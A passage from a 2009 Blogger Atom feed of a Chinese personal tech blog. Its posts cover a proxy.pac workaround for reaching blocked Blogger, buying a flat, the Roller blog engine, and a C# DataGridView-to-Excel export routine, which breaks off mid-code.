style="color:rgb(0,102,204);"&gt;&lt;strong&gt;点击此处重试&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&lt;/ul&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;/tbody&gt;&lt;br/&gt;&lt;/table&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7339683737770549357?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7339683737770549357/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/yahoo.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7339683737770549357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7339683737770549357'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/yahoo.html' title='发现谷歌浏览器不能加载yahoo邮箱'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3065466783699676705</id><published>2009-06-02T22:07:00.000+08:00</published><updated>2010-08-13T11:22:03.079+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blogger'/><title type='text'>找到一个访问blogger的方法</title><content type='html'>&lt;br/&gt;建一个文本文件，命名为proxy.pac&lt;br/&gt;用文本编辑器打开 输入：&lt;br/&gt;function FindProxyForURL(url,host){ if(dnsDomainIs(host, &amp;quot;.blogspot.com&amp;quot;)){ return &amp;quot;PROXY google.cn:80&amp;quot;; } }&lt;br/&gt;&lt;br/&gt;保存后，在FireFox-工具-选项-高级-网络选项卡-设置-选自动代理配置URL ，在文本框中输入file:///C:/proxy.pac&lt;br/&gt;OK，可以访问blogger了。&lt;br/&gt;&lt;br/&gt;别的代理&lt;br/&gt;https://soproxy.appspot.com/&lt;br/&gt;http://proxy-12345.appspot.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3065466783699676705?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3065466783699676705/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/blogger.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3065466783699676705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3065466783699676705'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/blogger.html' title='找到一个访问blogger的方法'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5960875157922083707</id><published>2009-06-02T21:22:00.000+08:00</published><updated>2010-08-13T11:22:03.087+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='图片'/><title type='text'>北京地铁规划 8号线要到回龙观哦</title><content type='html'>&lt;div&gt;&lt;a href="http://hiphotos.baidu.com/liuspring/pic/item/fcd715f43080fdca7609d7a3.jpg" target="_blank"&gt;&lt;img border="0" class="blogimg" src="http://hiphotos.baidu.com/liuspring/pic/item/fcd715f43080fdca7609d7a3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5960875157922083707?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5960875157922083707/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/8.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5960875157922083707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5960875157922083707'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/8.html' title='北京地铁规划 8号线要到回龙观哦'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5326254782917766502</id><published>2009-06-02T18:09:00.000+08:00</published><updated>2010-08-13T11:22:03.096+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='心情'/><title type='text'>六一儿童节我变身房奴了</title><content type='html'>貌似已经跟我没啥关系的六一儿童节，忙活了一天，签字画押，我勇敢的加入房奴大军了...&lt;br/&gt;一下子从小康生活回归到了解放前，呜呜~~~~(&amp;gt;_&amp;lt;)~~~~ &lt;br/&gt;拿着一大堆票据、一大把钥匙回到家倒头便睡，累死了&lt;br/&gt;预祝房奴生活开开心心。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5326254782917766502?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5326254782917766502/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/blog-post_02.html#comment-form' title='2 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5326254782917766502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5326254782917766502'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/blog-post_02.html' title='六一儿童节我变身房奴了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1768859111946124974</id><published>2009-05-27T18:04:00.000+08:00</published><updated>2010-08-13T11:22:03.119+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blog'/><title type='text'>又开始捣鼓roller</title><content type='html'>想参考一下roller的设计思路，遂又捡起roller，刚开始是看roller4.0，磨叽了半天时间，因为对struts2不熟悉，转而搞了个roller3.0，还好都运行起来了，之中发现下载的源码竟然不全，如果不引用roller的jar包的话会报错，缺几个package里的类，累的我还要反编译，不知道我是走弯路了还是怎么着，总算运行起来了，改了log4j的配置让日志在控制台输出，昨晚下班刚弄到这儿，接着捣鼓&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1768859111946124974?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1768859111946124974/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/05/roller.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1768859111946124974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1768859111946124974'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/05/roller.html' title='又开始捣鼓roller'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2414154875784921730</id><published>2009-05-27T17:53:00.000+08:00</published><updated>2010-08-13T11:22:03.142+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google App Engine'/><title type='text'>我的blog 3年游荡记</title><content type='html'>突然想起来写blog也好长时间了，可以追溯到3年前，一开始是在msn space，后来搬家到baidu，那时候对baidu还是很支持的，后来感觉baidu进步有点慢啊，完了还出来一些绯闻&lt;br/&gt;接着就有些不安分了，到处搬家哈哈，csdn、javaeye、博客大巴、yo2、blogjava、blogger，哦天，真的不少，现在csdn、javaeye、博客大巴、yo2已经荒了，blogger这几天还被和谐了很郁闷，就剩blogjava和baidu了，现在在捣鼓在&lt;a href="http://liuspring315.appspot.com" target="_blank"&gt;GAE上弄个java写的blog&lt;/a&gt;，已经糊弄上去了，凑合能添加文章，一有空就修改一下代码往上面更新一下，现在在研究怎么静态化和上传图片&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2414154875784921730?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2414154875784921730/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/05/blog-3.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2414154875784921730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2414154875784921730'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/05/blog-3.html' title='我的blog 3年游荡记'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3924598257456484016</id><published>2009-05-21T18:03:00.000+08:00</published><updated>2010-08-13T11:22:03.150+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blogger'/><title type='text'>google blogger难道被和谐了？</title><content type='html'>好几天了，发现无法打开我的google blogger，难道被传说中的和谐了？！我刚刚搬家到blogger啊，还没玩儿几天呢&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3924598257456484016?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3924598257456484016/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/05/google-blogger.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3924598257456484016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3924598257456484016'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/05/google-blogger.html' title='google blogger难道被和谐了？'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7569398379557258661</id><published>2009-05-20T17:32:00.000+08:00</published><updated>2010-08-13T11:22:03.170+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='c# .net'/><title type='text'>C# 由DataGridView导出到Excel</title><content type='html'>&lt;div style="background-color:rgb(249,247,237);"&gt;&lt;br/&gt;&lt;div style="background:rgb(253,253,253) none repeat scroll 0 0;color:black;"&gt;&lt;u&gt;C#语言&lt;/u&gt;: &lt;a href="http://fayaa.com/code/view/1313/"&gt;由&lt;span style="color:rgb(0,0,0);"&gt;dataGridView导出到Excel&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;div class="source" style='color:rgb(0,0,0);background-color:rgb(249,247,237);'&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;private&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;buttonToExcel_Click&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;object&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;sender&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;EventArgs&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;e&lt;/span&gt;)&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;SaveFileDialog&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;SaveFileDialog&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Filter&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;Execl files (*.xls)|*.xls&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;FilterIndex&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;RestoreDirectory&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;true&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;CreatePrompt&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;true&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Title&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;Export Excel File To&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;ShowDialog&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;Stream&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;myStream&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;myStream&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;saveFileDialog&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;OpenFile&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;StreamWriter&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;sw&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;StreamWriter&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;myStream&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Text&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Encoding&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;GetEncoding&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;(-&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;));&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;string&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;str&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;try&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;//写标题&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;for&lt;/span&gt; (&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;int&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;dataGridView3&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;ColumnCount&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;++)&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;if&lt;/span&gt; (&lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;)&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;str&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;\t&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;str&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;dataGridView3&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Columns&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;].&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;HeaderText&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;sw&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;WriteLine&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;str&lt;/span&gt;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;//写内容&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;for&lt;/span&gt; (&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;int&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;j&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;j&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;dataGridView3&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Rows&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;j&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;++)&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;string&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;tempStr&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;for&lt;/span&gt; (&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;int&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;k&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;k&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;dataGridView3&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Columns&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;k&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;++)&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;if&lt;/span&gt; (&lt;span style="color:rgb(0,0,0);"&gt;k&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;gt;&lt;/span&gt; &lt;span 